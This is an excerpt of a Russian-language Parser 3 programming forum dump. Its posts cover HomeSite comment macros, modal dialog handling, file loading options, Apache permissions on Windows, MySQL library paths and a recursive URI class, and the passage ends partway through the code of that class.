"49316","Немного громозко и неудобно, но зато читабельно :)\
\
[code]\
^if(...){\
	^rem{ *** комментарий ***}\
	^if(...){\
		^rem{ *** комментарий ***}\
	}{\
		^rem{ *** комментарий ***}\
		^if(...){\
			^rem{ *** комментарий ***}\
		}{\
			^rem{ *** комментарий ***}\
		}\
	}\
}{\
	^rem{ *** комментарий ***}\
}\
\
[/code]\
\
Кстати, для пользователей HomeSite (каковым и я тоже являюсь) будет интересны следующие два скрипта (оригинал упоминался в [url=\"http://www.parser.ru/forum/?id=47916\"]форуме[/url], но в нем были баги и неточности, я его изменил немного «под себя»:\
\
[b]comment.js[/b]\
[code]\
var document = Application.ActiveDocument;\
\
\
function Main () {\
	var selection_lines = document.SelText.split(String.fromCharCode(13) + String.fromCharCode(10));\
	var selection_start = document.SelStart;\
	var selection_stop = document.SelStart + document.SelLength;\
	var comment_str = get_comment_type(document.Filename);\
\
	var line_start = get_line_number(document.Text, selection_start);\
	var line_stop = get_line_number(document.Text, selection_stop - selection_lines.length + 1);\
\
	var empty_string = new RegExp(\"^\\\\s*$\");\
	if (line_start != line_stop && empty_string.test(document.Lines(line_stop))) {\
		line_stop--;\
	}\
\
	for (n = line_start; n <= line_stop; n++) {\
		document.Lines(n) = comment_str + document.Lines(n);\
	}\
\
}\
\
\
function get_offset (sText, iLine) {\
	var iPos = iOffset = 0;\
	while (iPos < iLine) {\
		if (sText.substr(iOffset, 2) == \"\\r\\n\") {\
			iLine++;\
			iOffset++;\
			iPos++;\
		}\
		iOffset++;\
	}\
	return iOffset;\
}\
\
\
function get_line_number (sText, iOffset) {\
	var iPos = iLine= 0;\
	while (iPos < iOffset) {\
		if (sText.substr(iPos, 2) == \"\\r\\n\") {\
			iLine++;\
			iOffset++;\
			iPos++;\
		}\
		iPos++;\
	}\
	return iLine;\
}\
\
\
function get_comment_type (filename) {\
	var ext = filename.substring(filename.lastIndexOf('.'));\
	var result = \"#\";\
	if (ext == \".pl\" || ext == \".pm\" || ext == \".cgi\" || ext == \".p\" || ext == \".cfg\" || ext == \".html\") {\
		result = \"#\";\
	} else if (document.Lines(0).charAt(0) == \"#\" || document.Lines(0).charAt(0) == \"@\") {\
		result = \"#\";\
	} else if (ext == \".js\" || ext == \".java\" || ext == \".cpp\" || ext == \".h\" || ext == \".sc\") {\
		result = \"//\";\
	} else if (ext == \".asp\" || ext == \".vbs\") {\
		result = \"\\' \";\
	} else if (ext == \".inf\" || ext == \".ini\") {\
		result = \";\";\
	}\
	return result;\
}\
[/code]\
\
[b]uncomment.js[/b]\
\
[code]\
var document = Application.ActiveDocument;\
\
\
function Main () {\
	var cursorY = document.CaretPosY - 1;\
	var cursorX = document.CaretPosX;\
	var SelArr = document.SelText.split(String.fromCharCode(13) + String.fromCharCode(10));\
	var lines = SelArr.length;\
\
	var commentStr = get_comment_type(document.Filename);\
	var regexp = new RegExp(\"(^\\\\s*)\" + commentStr + \"(.*)\");\
	var regexp_match_start = new RegExp(\"\\\\$\");\
	var regexp_match_stop = new RegExp(\"\\\\[dollar\\\\]\");\
\
	if(!document.SelText) {\
		if (regexp.test(document.Lines(cursorY))) {\
			var line = document.Lines(cursorY).replace(regexp_match_start, \"[dollar]\")\
			if (regexp.test(line)) {\
				line = line.replace(regexp, RegExp.$1 + RegExp.$2)\
			}\
			document.Lines(cursorY) = line.replace(regexp_match_stop, String.fromCharCode(36))\
		}\
	} else {\
		for (n = cursorY; n < (cursorY + lines); n++) {\
			var line = document.Lines(n).replace(regexp_match_start, \"[dollar]\")\
			if (regexp.test(line)) {\
				line = line.replace(regexp, RegExp.$1 + RegExp.$2)\
			}\
			document.Lines(n) = line.replace(regexp_match_stop, String.fromCharCode(36))\
		}\
	}\
}\
\
\
function get_comment_type (filename) {\
	var ext = filename.substring(filename.lastIndexOf('.'));\
	var result = \"#\";\
	if (ext == \".pl\" || ext == \".pm\" || ext == \".cgi\" || ext == \".p\" || ext == \".cfg\" || ext == \".html\") {\
		result = \"#\";\
	} else if (document.Lines(0).charAt(0) == \"#\" || document.Lines(0).charAt(0) == \"@\") {\
		result = \"#\";\
	} else if (ext == \".js\" || ext == \".java\" || ext == \".cpp\" || ext == \".h\" || ext == \".sc\") {\
		result = \"//\";\
	} else if (ext == \".asp\" || ext == \".vbs\") {\
		result = \"\\' \";\
	} else if (ext == \".inf\" || ext == \".ini\") {\
		result = \";\";\
	}\
	return result;\
}\
[/code]\
\
[b]Инструкция по установке[/b]\
1. Сохранить эти два файла в папку с ../HomeSite/Scripts/\
2. Зайти в меню Options › Customize › Script Shortcuts\
3. Добавить эти два файла\
\
[b]P.S.[/b]\
Очень удобно назначить им «горячки» Ctrl + ` для комментирования и Ctrl + Shift + ` для обратного действия.\
Если не выделен никакой текст — комментируется текущая строка."
"49318","пишет новичок\
есть страничка, в обработке нажатия на кнопку с помощью функции showModalDialog вызывается модальное окно\
необходимо в обработчике закрытия этого окна вызвать событие в главном окне\
проблема получении ссылки на это самое главное онко\
window.parent и window.opener в обработчике закрытия дают null"
"49320","';' по моему встречается значительно чаще чем # в упоминаемом представлении. к тому-же такой css легко лечится.\
\
лично мне тоже было-бы удобнее, если бы как комментарий воспринимался ^\\s*#"
"49322","[code]\
<style>\
#my_layer{position:relative;...}\
 #my_layer{position:relative ...}\
</style>\
[/code]"
"49323","because when you open a modal dialog there is no parent child relationship.\
\
Opening a modal dialog stops processing on the main page, so your javascript processign will continue from the point where you called the open modal dialog. If you want to set a value to the parent window you would have to return from the modal dailog by setting the window.returnValue in the modal dialog, before you close."
"49324","А еще мы собаку просто так в начале строки написать не можем, а ведь случай из жизни:[code]@import \"extra.css\";[/code]\
\
И ведь не возмущаемся :-)"
"49325","простите, а откуда конкретно?"
"49326",", которое можно словить в главном окне.\
\
В модальном окне пишите:\
[code]\
returnValue = new Date();\
[/code]\
\
Но имейте в виду, что модальные окна поддерживаются только InternetExplorer!"
"49327","спасибо большое за помощь"
"49328","И Вам спасибо"
"49330","Делать было нечего решиль переписать.\
\
[code]\
##################################################################\
# старый добрый color: каждый четный вызов возвращает $color1, каждый нечетный - $color2\
# вызов безе параметров - сброс последовательности\
@color[color1;color2]\
^if(!def $color1 && !def $color2){$color_switcher(1)}\
$result[^if($color_switcher!|0){$color2}{$color1}]\
$color_switcher($color_switcher!|1)\
### End of @color[]\
[/code]"
"49331","Как ни крутил taint untaint'ы тут вроде не спасают.\
Имеется код на парсер с html-ем вперемешку.\
Задача: \
На определенном известном мне участке(куске) кода запретить исполнение\
кода на парсер-е, но разрешить вывод html-тэгов, вся область кода лежит в одном файле, например code.p, \
\
Условие:\
Ручная или автоматическая подрезка символом ^ - не приемлима.\
\
Зачем мне это надо:\
Получаемый монолитный файл code.p генерится и выстраивается из опасных и неопасных блоков.\
\
В опасных блоках я буду выводить на экран только html-тэги, но не хочу допустить исполнения куска кода на parser,\
в неопасных я уверен, преобразований не нужно.\
\
Что то типа одинарных кавычек на Perl:\
[code]\
$var=\"Perl\";\
print '<b>$var</b>';\
[/code]\
выдаст:\
[b]$var[/b]\
\
А на Парсер-е такого нет и не получается, навереное хотел бы как-то так:\
[code]\
# Опасный кусок пишится в code.p как-то так\
^only-html{\
  <b>Bla-bla</b>\
   $var[это опасный код на парсере]\
  <i>Bla-bla</b>\
} \
# Неопасный кусок пишится в code.p как есть, то есть\
$var2[это НЕ опасный код на парсер]\
[/code]"
"49332","ну а в чем проблема?\
\
@only-html[code]\
\
$code[^code.match[^$][g]{^^^$}]\
$code[^code.match[^^][g]{^^^^}]\
\
$result[$code]\
\
Ну, в регеспах я, конечно, не силен :)\
Но что-то в этом роде..."
"49333","не нравится мне следующее:\
- нет явной инициализации $color_switcher\
- что в одном месте !| 1 а в другом !| 0 (как и хор в условии)\
- End с большой буквы %-)\
\
предлагаю изменить:\
[code]\
@color[color1;color2]\
^if(!def $color_switcher || (!def $color1 && !def $color2)){$color_switcher(0)}\
$color_switcher($color_switcher !| 1)\
$result[^if($color_switcher & 1){$color2}{$color1}]\
#end @color[]\
[/code]\
\
P.S. в parser3 я его не использовал НИ РАЗУ %-)"
"49335","как в том же php и уйма где ещё:\
/* ... */ - аналог ^rem{...}\
а шарп оставить как есть - от начала строки."
"49336","если стоит апач + парсер CGI И на одном сервере размещены несколько сайтов разных пользователей\
\
parser.exe запускается от юзера SYSTEM?\
Т.е. как сделать, так чтобы один пользователь своими скриптами не мог грохнуть файлы на диске не находящиеся в папке его сайта?"
"49337","Проблема следующая:\
В ячейке таблицы размещено много информеров с разных сайтов. Грузятся они иногда очень медленно, и пока не загрузятся, таблица не отображается вовсе.\
Возможно ли отложить их загрузку, то есть начать ее только после загрузки всего документа, средствами Парсера?\
Решения на Javascript есть, но, к сожалению, не универсальны.\
Вопрос не горящий, скорее по оптимизации, на крайняк можно пережить и без его решения, но… лучшее не всегда враг хорошего."
"49338","в CuteFTP, например, нужно в настройках убрать из ASCII Types расширение CGI, а то будет игнорировать команду передавать в двоичном…"
"49341","Вопрос:\
Чем отличается российский программист от американского?\
Ответ:\
Тем же, чем американский дизайнер от российского.\
\
************\
lexa lexa ty moguch mozhet dazhe zloe... (сокращенный фрагмент кода Microsoft Office XP)"
"49343","Ученик спросил Учителя: “Я знаю программиста, который никогда не разрабатывал, не документировал и не тестировал свои программы. Но все считают его лучшим программистом в мире. Почему?”\
\
Учитель ответил: “Этот программист творит в Дао. Он стоит выше необходимости в разработке, он не сердится, если система перестаёт работать, он принимает вселенную, как она есть. Он стоит выше необходимости в документации, ему не нужно, чтобы кто-нибудь хвалил его код. Он стоит выше необходимости в тестировании, все его программы совершенны в себе, безмятежны и элегантны, их назначение самоочевидно. Истинно, он постиг тайну Дао.”"
"49346","Чем проще технология, тем меньше \"дыр\" и корректнее работа. К счастью, кроме Парсера и PHP есть другие технологии и языки. То, что гармонирует с ДАО программирования, не имеет \"дыр\" (я не шучу). Если Вам, как мне, не пришлось иметь дело с Парсером в силу необходимости делать редизайн готового сайта, сбацанного изначально на Парсере, то подумайте тысячу раз. Потом почитайте ответы разработчиков на этом форуме и еще раз подумайте.\
По поводу работы самого скрипта parser3.cgi - у меня на FreeBSD постоянно вываливаются сообщения об ошибках ядра, связаных с работой Парсера. По поводу переносимости - серьезный провайдер, ИМХО, будет категорически против установки Парсера на стандартный хостинг: мне удалось поставить Парсер только на выделенный сервер при условии, что геммороиться с ним я буду сам. И пока все более-менее сносно заработало, пришлось возиться с логами больше, чем при установке и настройке ОС и апача со всеми стандартными причиндалами. К форуму этому буквально душой прикипел :) Того глядишь, в сисадмины переквалифицируюсь опять :)))))"
"49347","здесь скорее от структуры документа, подгружаемых элементов всё зависит и от конкретного браузера.\
В опере к примеру таймаут на загрузку яваскрипта очень большой (или отсутствует), поэтому при неработающем внешнем серваке вы можете просто недождаться своей странички.\
\
Выход для парсера и сайта в целом есть, проверять скорость ответа внешнего сервера, если больше 3 секунд, не выводить блок.\
\
Или, как вариант, попробовать вставить iframe."
"49349","Пробовал туже документацию ничего не получается! Как сделать что бы работало?"
"49350","Кроме old-passwords я пока ничего не нашел."
"49354","Апач запускается как служба?\
\
Если да, то Start -> Run -> compmgmt.msc -> Services and applications -> Services \
\
Открываем Properties службы, лезем на вторую вкладку, Log On. Там определяется, от чьего имени будет запускаться служба. Можно создать отдельного пользователя в Windows, \"apache\" и раздавать ему права. Дочерние процессы apache, в частности, parser, будут запускаться от имени этого же пользователя.\
\
Если вы не доверяете пользователям, дайте апачу права только на чтение внутри вебпространства и запись в папку с логами. На запись - только в специально оговоренную папку вне вебпространства для каждого сайта.\
\
Если не хотите геморроя - пользуйтесь iis с утилитой lockdown. Она поставит максимально жёсткие запреты сама. Инструкцию по установке парсера на iis я писал и тут вывешивал."
"49355","Нам нужно на основе AMADEUS API написать приложение для вэб-сервера, которое будет проводить транзакции по продаже авиабилетов. Оплата для профессионала весьма достойная.\
Если интересно такое предложение -- напишите на ivanov@internetplustravel.ru (квалификация, проекты и т.п.)"
"49356","Согласен, что эта задача должна решаться НЕ на уровне Парсера, \
а гдето там: (xslt || css+js)\
\
ЗЫ\
У меня все энды с большой буквы."
"49357","есть win, apache и _несколько_ пользователей со своими виртуальными хостами. и надо сделать так, чтобы парсер запущеный с одного хоста не залез в директории другого."
"49358","Здравствуйте.\
Столкнулся с проблемой, когда код вида:\
[code]\
$f[^file::load[text;/test.p;\
     $.form[$.key(1)]\
]]\
[/code]\
Выдает ошибку:\
[i]Unhandled Exception. Load. Invalid option passed.[/i]\
\
В тоже время, без параметров все отлично работает.\
В формуме советовали обновить версию Парсера. Обновил до 3.2 - не помогает.\
Если кто знает, как можно решить проблему, подскажите, пожалуйста."
"49359","[url=\"http://groups.google.ru/group/comp.infosystems.www.servers.ms-windows/browse_thread/thread/d30c13c5613d7dd6/8e840f3e0f00e9fe?lnk=st&q=Apache+suexec+Windows&rnum=16&hl=ru\"]Решения для него нет[/url]. Я предложил пути минимизации проблем."
"49360","А какой смысл в подобном коде, если параметры актуальны только при считывании файла по http?"
"49361","Скиньте исходники если можно!"
"49362","Здравствуйте, помогите с новостным разделом! Никак не могу сделать новости как написанно в примерах, подскажите или выложите пожалуйста исходники! Заранее боагодарен!"
"49363","Да вообще проще на PHP писать и не париться с Парсером ;)\
ИМХО."
"49364","Файл test.p - обработчик\
Подгружая его, например так:\
[code]\
...\
$file[^file::load[text;/test.p;\
       $.form[$.no_xml(1)]\
]]\
^process[$caller.self]{^taint[as-is][$f.text]}\
...\
[/code]\
я бы мог передать ему через форму параметры (наверное бы мог, пока не получается)."
"49365","Опишите что делаете, ошибку и проч."
"49366","[code]$file[^file::load[text;/test.p;\
       $.form[$.no_xml(1)]\
]]\
^process[$caller.self]{^taint[as-is][$f.text]}[/code]\
\
Где в коде test.p используется параметр no_xml?\
\
В документации ясно написано:\
\
[quote]Также методы… \
Ї file::load   \
Ї table::load  \
\
…может работать с внешними HTTP-серверами, если имя загружаемого документа содержит префикс \
    http:// \
\
Этим методам также можно задать дополнительные опции загрузки документа по HTTP, это хеш, ключами которого могут быть: [/quote]\
\
То есть для случая с загрузкой файла с диска это НЕ ПРЕДУСМОТРЕНО!"
"49369","Я же сказал что что по примерам ничего не получилось! А именно такие и не надо! И еще такой вопрос где можно скачать такие классы: lib.p mysql.p scroller.p ? помогите плиз!"
"49371","Спасибо, прояснили ситуацию. Почему-то казалось, что такая схема будет работать и при закачке файла с виртуального HTTP сервера.\
\
[quote]Где в коде test.p используется параметр no_xml?[/quote]\
А использовать планировалось примерно так:\
[code]\
# test.p\
...\
^if($form:no_xml==1){\
     <p>Text</p>\
}{\
     <formated_text>Text</formated_text>\
}\
...\
[/code]\
И в одном случае текст выводился бы напрямую, а в другом посылался на XSLT."
"49372","Если не разберётесь с примером, то и дальше будет сложно разбираться.\
Опишите, что в примере из документации не получилось, какую ощибку выдаёт."
"49373","[quote]Почему-то казалось, что такая схема будет работать и при закачке файла с виртуального HTTP сервера.[/quote]\
\
Наоборот, такая схема будет работать ТОЛЬКО при закачке по http. А вот с диска, увы, нет."
"49375","Но в апаче есть ряд интересных штук типа модреврайта, виртуальных хостов и т.п.\
да и парсер по моему опыту лучше работает на апаче\
\
Вывод - все недостатки и сложности в запуске парсера под юникс, оказываются очень нужны и просто необходимы в реальной жизни, т.е. встроенные механизмы безопасности юниксовых систем могут то, что в винде достигается с помощью сильного изврата с правами.\
\
И чего мне делать - снести винду и сделать веб-сервер на юниксе?"
"49376","^file::load[/дистовый/путь/к/файлу] - просто загружает файл с диска. буквы считываются в переменную. нашелся файл на диске, открылся, загрузился. все. эти буквы не выполняются. о каких $form может идти речь? это потом вы можете сделать им ^process{} но к load process отношения не имеет.\
\
^file::load[http://url] - загружается файл с удаленного сервера по протоколу http. тут присутствует вся атрибутика этого протокола: пост данных на него, заголовки и т.д. и вот в помощью упоминаемых параметров это можно сделать. тут загруженые буквы тоже не выполняются. а эти form уходят на удаленный сервер, т.к. страница может в зависимости от них отдаваться сервером разная. что вы будете дальше делать с загруженными буквами - ваше дело."
"49378","Выводится каталог, который состоит из заголовков корневых категории товаров и их подкатегорий. Т.е. один информационный блок состоит из одного заголовка и подзаголовков.\
\
Как сделать так, чтобы эти информационные блоки при выводе автоматически располагались, к примеру, по два в троке.\
\
К примеру:\
[quot]\
Заголовок 1 			Заголовок 2\
Подзаголовок 1.1, Подзаголовок 1.2 		Подзаголовок 2.1, Подзаголовок 2.2\
\
Заголовок 3 			Заголовок 4\
Подзаголовок 3.1, Подзаголовок 3.2 		Подзаголовок 4.1, Подзаголовок 4.2\
[/quot]"
"49380","Никто в здравом рассудке не может быть уверен в безупречности своего кода. И у разработчика _всегда_ должен быть выбор - использовать какую-либо фичу Парсера, или нет. \
Я уже писал на эту тему, но PAF все потер.\
Если Вы будете и дальше идти в этом направлении, то w3c должен будет тестировать новые технологии на совместимость с Парсером.\
Обратите внимание на опыт Microsoft - куда их завела такая политика. Хотя, если стоит задача только гнуть пальцы и рубить бабки, то путь неплохой."
"49381","если честно я не понял наезда.\
вопрос был: \"как решить с помощью парсера такую задачу\"\
я ответил: \"решить её невозможно\"\
\
невозможно потому, что такой \"фичи\" нет. если нет \"фичи\" то у разработчика на парсере нет возможности использовать её или нет.\
\
как связано это с w3c и M$ я понять не могу, как в общем не могу понять и вашей претензии. но если там, где ПАФ потер ваше сообщение ваша претензия была аналогичной - ПАФ-а я прекрасно понимаю, ибо первым моим желанием было потереть ваш ответ."
"49382","Мне такая программа неизвестна, но возможно там есть настройки, сходные с CuteFTP\
(см. мой предыдущий [url=\"http://www.parser.ru/forum/?id=49338\"]пост[/url])"
"49386","Если есть инфа."
"49387","Нужно сделать простую в принципе штуку... \
Есть форма, которую заполняют для получения файла. После \"сабмита\" должно произойти 3 действия:\
1. пользователь должен получить файл\
2. данные пишутся в экселевский файл\
3. экран обновляется и в нем пишется что все прошло замечательно, и ваши данные успешно занесены в базу....\
\
Вроде все сделал верно, но после сабмита происходит следующий облом - или экран обновляется или пользователь получает файл\
Реализовано все это при помощи ^response:location и ^response:download.... Если закоментить ^response:location, то пользователь получает файл, но окно, естественно, не обновляется если нет - то окно обновляется, коменты выводятся, но файл не скачивается.... \
Как сделать чтобы все это работало... или хотябы заставить обновиться окно после закачки файла????"
"49389","Вот недавно столкнулся с такой проблемой - немножко неправильно было вычислено количество всех сообщений в результате чего в код такого плана\
[code]\
$posts[^table::sql{\
	SELECT\
		... /* тут выборка полей */\
	FROM\
		posts\
	WHERE\
		... /* немножко условий */\
}[\
	$.offset(^offset.int(0))\
	$.limit(^limit.int(0))\
]]\
[/code]\
в offset & limit оказались значения по которым запрос не возвращает данных, в консоли запрос шустренько возвращает 0 рядов, а вот с парсером в таком случае проблемка - процесс parser3 начинает пожирать всю доступную память и в конце-концов он просто умирает при этом нагружая сервер до такой степени что невозможно подключиться по ssh. Имхо такого быть не должно... \
P.S. проверял в php/python/java2 -  прекрасно обрабатываетcя такой запрос возвращая 0 рядов...\
parser 3.2.1 под debian linux"
"49390","У разработчика всегда должна быть возможность выбора средств. Если где-то ему нужно отключить функциональность технологии, то ему предоставляется такая возможность. Вывод чистого HTML - не фича, а обычное явление для технологий, используемых в Вебе.\
В частности, такую возможность дает нелюбимый PAF-ом Русский апач, Perl, PHP, Java…\
У меня нет никакого желания на Вас наезжать. И даже  [url=\"http://www.artlebedev.ru/best/\"]абсурдные утверждения[/url] Вашей студии меня не сильно волнуют - я так понимаю, что это элементы фирменного стиля, наравне с прокуренными дырявыми  свитерами.\
Просто ИМХО частенько палку перегибаете… И «Балчуг Кемпински» — не единственный клиент, которого Вы по этой причине потеряли."
"49393","Это не решение, а изврат. Впрочем я уже с Парсером наизвращался вволю."
"49394","если пользователь подключил парсер и написал код на нем, то потом, когда код скомпилировался и выполнился пользователь не имеет возможности сказать парсеру: \"нет я передумал, ты этот код не должен был выполнять, а должен просто выдать как есть, давай, выдавай\". \
\
или может вы будете столь людезны и продемонстрируете как решить исходную задачу на perl или php?\
\
что-то подсказывает мне что это не возможно в подавляющем болшинстве языков (если не во всех).\
\
и я в очередной раз прошу прекратить наезды. данный форум по парсеру. обсуждаем технологию, задачи, которые с её помощью можно решать и методы которыми это можно делать.\
\
а использовать технологию или нет - дело сугубо личное, вы свое мнение на этот счет его высказали, его услышали.\
\
P.S. последующие ваши наезды будут просто удаляться."
"49395","Вы можете создать html, который будет гарантированно приводить к этой ошибке?\
\
Мне кажется причина в другом.\
Может вы что-то с этой таблицей потом делаете не проверяя на заполненность?\
\
У меня куча запросов с offset и limit - не встрачал подобного ни разу."
"49397","Когда требуется получение/отправка информации без перезагрузки страницы самый простой вариант - создать iframe, источником которого может выступать и тот же скрипт, который выдаёт основную страницу.\
\
При нужных событиях отправляете/получаете данные через этот скрытый фрэйм.\
Если же нужны более сложные взаимодействия - см.:\
http://www.parser.ru/forum/?id=48425\
http://www.parser.ru/forum/?id=42585\
и т.д."
"49399","Perl \
\
print '<h1>It is not a First-Level Header!!! It is Perl-compilled code.</h1>', \"\\n\";\
\
PHP \
\
print(\"<h1>It is not a First-Level Header!!! It is PHP-compilled code.</h1>\");"
"49400","^response:download меняет полностью тело документа, т.е. после него код НЕ ВЫПОЛНЯЕТСЯ.\
можно файл закачивать через JS, но тогда не гарантированно, что юзер получит файл.\
\
А лучший вариант (на мой взгляд) - станицу не обновлть, а сразу написать, что файл получен, занести данные в базу и в конце написать ^response:download"
"49401","[quote]Но в апаче есть ряд интересных штук типа модреврайта, виртуальных хостов и т.п.[/quote]\
\
в iis [i]есть[/i] вирт. хосты. Rewrite делается с помощью ISAPI-модуля.\
\
[quote]встроенные механизмы безопасности юниксовых систем могут то, что в винде достигается с помощью сильного изврата с правами.[/quote]Unix-овая концепция безопасности даже рядом не лежала с ACL виндовса - как пример, сравните юниксовые \"rwx\" с обилием более тонких правил доступа, которые реализует NT.\
\
То, что вам не удалось реализовать одну опцию под NT ещё не значит, что она хуже в целом."
"49403","при этом кавычки внутри дублировать нельзя (условия были такие)."
"49404","выдается чистый HTML, в таком же виде, что и в кавычках. Это Парсер его переделывает, так как программиста считает идиотом(как и Microsoft — пользователя)."
"49407","есть код. его надо выполнить, но хитро. чтобы не выполнилось что-то, что передается в какой-то метод (для простоты рассмотрим одинарные перловвые кавычки как метод). я и сказал что именно эту задачу не решить.\
\
а парсер замечательно выводит буквы, взятые из файла, или из другого метода:\
[code]\
$file[^file::load[text;/path/to/file.txt]]\
^taint[as-is][$file.text]\
[/code]\
\
или\
\
[code]\
@main[]\
надо вывести большой текст: ^printIt[]\
\
@printIt[]\
текст с точками с запятой; которыю парсер не будет трогать.\
[/code]\
\
а если вы не понимаете почему нужно ';' и некоторые другие спец символы эскейпить, то может разберетесь прежде чем наезжать? это как раз не тот случай, когда парсер считает кого-то дураком (кстати он автора кода таковым никогда не считает, что пишите в коде то он выводит без преобразований)\
\
если кратко: весь текст на парсере - это один большой оператор print. чтобы вывести символ достаточно просо написать его. но чтобы не было конфликта с операторами парсера есть некоторые ограничения и спецсимволы, которые просто так не добавишь. примерно аналогично со спецсимволами в регулярных выражениях. если вы хотите в perl или еще где в шаблон регулярного выражения поместить '[' то вы вынуждены поставить перед этим символом '\\' чтобы процессор воспринял скобку не как управляющую конструкцию, а как букву такую."
"49408","приведите пример на вашем любимом языке, возможно те кто в нем разбирается вам помогут..."
"49409","Не наезжаю я на Вас, господа! Не наезжаю!!! Говорю как есть, высказываю свое мнение. А если мои слова вызывают в душе желание стереть мой пост — значит правду пишу. Над вымышленными обвинениями aka «наездами» можно только посмеяться…\
\
Это (ниже) прокатит? У меня прокатывало.\
\
^only-html{\
  <b>Bla-bla</b>\
   ^var[]\
  <b>Bla-bla</b>\
} \
# Неопасный кусок пишится в code.p как есть, то есть\
$var2[это НЕ опасный код на парсер]\
\
@var[]\
это опасный код на парсере"
"49411","... а было выведено как есть.\
т.е. если в документе написано:\
[code]^only-html{\
	<b>Bla-bla</b>\
	^var[]\
	<b>Bla-bla</b>\
}\
$var2[это НЕ опасный код на парсер]\
$var2\
[/code]\
\
то после обращения к документу из броузера в последнем показалось бы (в source) следующее:\
[code]\
<b>Bla-bla</b>\
^var[]\
<b>Bla-bla</b>\
это НЕ опасный код на парсер\
[/code]"
"49415","хоть какая-то обратная совместимость будет.\
но как-то не супер.\
\
просто так разрешить ^пробелы# совсем нельзя."
"49416","1. прочитайте этот абзац и следующий за ним тоже.\
\
2. если есть ssh доступ, зайдите и просто запустите ./parser3.cgi с консоли, что скажет?"
"49417","ибо в метод передастся код, а не текст который парсер может или выполнить или вывести на экран.\
\
но в принципе если все это лежит в увуойм-ниь отдельном файле то загрудить его, выкусить код, заключенный во что-нить, отпроцессить, вставить выкушенное обратно и вывести - может сработать. но... через одно место все это."
"49419","А что там в Where?\
Что будет если его убрать?"
"49420","[code]SELECT     \
    TOP 0 *\
FROM  (SELECT\
           ...\
       FROM\
           ...\
      )\
DERIVEDTBL[/code]\
\
...равно следующему запросу (В MsSQL)?\
\
[code]^table::sql{SELECT ... FROM ...}[$.limit(0)][/code]\
\
У меня получается, что не равно. Код на парсер выводит все записи, когда сказанно [b]0[/b].\
А если установить лмит [b]1[/b], то получаем одинаковый результат."
"49422","Взял исходники с форума тут в темах есть скрипт новостей вот ссылка:http://www.parser.ru/forum/?id=38210 сделал все как написанно выдает ошибку:sql.p\
usage failed - no $MAIN:CLASS_PATH were specified\
Вот, по урокам новости работают! Все как надо! Пытался разобраться с новостями из раздела Новости для чайников там похожая ошибка выскакивает!"
"49425","Вопрос уже обсуждался 2 раза в разных ветках форума, но я его поднимаю снова. Закачал Парсер на сервер. Открываю первую страницу-ошибка ...failed to initialize client library '/usr/bin/libmysqlclient.so'. Пишу в службу поддержки, мне сообщают правильный путь этой библиотеке-The location is /usr/lib64/libmysqlclient.so. Прописываю, Парсер пишет ту же самую ошибку failed to initialize client library '/usr/lib64/libmysqlclient.so', /usr/lib64/libmysqlclient.so: cannot open shared object file: No such file or directory [].\
\
У меня вопрос-может эта ошибка быть связана с тем, что используются 64-битные библиотеки MySQL?"
"49429","... посмотреть, есть ли оная библиотека по указанному пути? Ну, просто в shell набрать [code]cd /usr/lib64[/code][code]ls | grep libmy[/code] Покажет он её?"
"49430","Я с ними уже третий день переписываюсь безрезультатно. Сначала они мне тоже /usr/lib64/libmysqlclient.so предлагали – не работает!\
\
Люди, кто на Арбатеке хостится, подскажите правильный путь до библиотеки! А то чувствую, я с ними еще недели две убью."
"49431","Ну, допустим, если в оператор print Perl или PHP поместить любые команды внутри кавычек, они не выполнятся, так?\
Я понял, что проблема в том, что у вас все является как бы оператором print, и Парсер ищет свои операторы везде - где надо и где не надо. И если разработчику нужно такое:\
^only-html{\
	<b>Bla-bla</b>\
	^var[]\
	<b>Bla-bla</b>\
}\
$var2[это НЕ опасный код на парсер]\
$var2\
можно было бы в следующей версии учесть. Это не является какой-то экзотикой. А сейчас можно только посоветовать человеку ^var[] закодировать как-нить. Ведь все команды в этом форуме, и в документации Парсер не выполняет, не так ли? Или этот сайт сбацан не на Парсере? :)))"
"49432","Спасибо разобрался с ошибками, но всеравно что то не так!"
"49433","К сожалению-нет, ибо шелл-доступ по умолчанию отключен и предоставляется лишь по запросу путем отправки оного по факсу в Штаты (именно там я хостюсь), а в написании писем по-ангельски я не так силен, как в чтении технических текстов."
"49434","Получаем мы количество строк выведенной таблицы из БД, к примеру 68. Как оперделить, является ли результатом деления на два числа 68 целое число, т.е. 34."
"49435","[code]^if(^table.line[] % 2 == 0){целое}{нет}[/code]"
"49436","[quote]но всеравно что то не так![/quote]\
Наверное Вы делаете что-то не то."
"49437","1) Найти библиотеку. Обычную. И положить её туда, до куда знаете путь. Только вот не знаю будет ли она работать если система 64-разрядная. Но ведь Парсер то работает?\
\
2) Написать очень короткое письмо в техсуппорт. Примерно следующего содержания: Please provide a shell access for user \"имя_пользователя\" for i need it badly. Особого знания английского тут не надо.\
\
3) Попробовать поиграть с путями...\
\
4) Сменить хостера :)))\
\
Больше что-т о не придумывается %("
"49438","выводится в разных форматах:\
\
Дата регистрации: 01.01.2003\
Дата последнего посещения: 03.2.2006 13:08\
\
Т.е. в первом случае месяц — число с ведущим нулем, а второй случай — просто число.\
\
:)"
"49439","Ни в один день другой день не регистрировалось так много пользователей :-)"
"49440","[code]\
# by Maxim Shipko  mailto:maxim@shipko.com.ua\
# based on http://www.egoroff.spb.ru/portfolio/15.html\
# tuned by Nikita Kozin mailto:wonder@nightmail.ru\
@CLASS\
uri\
\
\
# Конструктор, items - таблица (поля: uri, id, title).\
@init[items]\
$self.children_of[^items.hash[parent_id][$.distinct[tables]]]\
# end @init[]\
\
\
# Необязательный параметр parent_uri - адрес корневой директории, по умолчанию \"/\".\
# Создает таблицу $self.items(поля: uri, id, title), содержащую полные адреса всех дочерних директорий.\
@get[parent_uri]\
^if(!def $parent_uri){$parent_uri[/]}\
$self.items[^table::create{uri	id	title}]\
^_get[$self.children_of.0;$parent_uri]\
# end @get[]\
\
\
# внутренний метод, рекурсивно обходит дочерние директории, вычисляет их адреса\
# и добавляет их в таблицу $self.items\
@_get[sibling;parent_uri]\
^sibling.menu{\
	^self.items.append{${parent_uri}$sibling.[dir]/	$sibling.id	$sibling.title}\
	^if(def $self.children_of.[$sibling.id]){\
		^_get[$self.children_of.[$sibling.id];${parent_uri}$sibling.[dir]/]\
	}\
}\
# end @_get[]\
\
\
# Возвращает путь для указанного id\
@get_uri[id]\
^if(!def $self.items){^get[]}\
^if(^self.items.locate[id;$id]){\
	$result[$self.items.uri]\
}{\
	^throw[uri.missing;$id;Id '$id' not found]\
}\
# end @get_uri[]\
\
\
# Возвращает id страницы, исходя из ее адреса, если страница не найдена -\
# рекурсивно продолжает поиск, поднимаясь на одну папку выше\
@get_id[uri]\
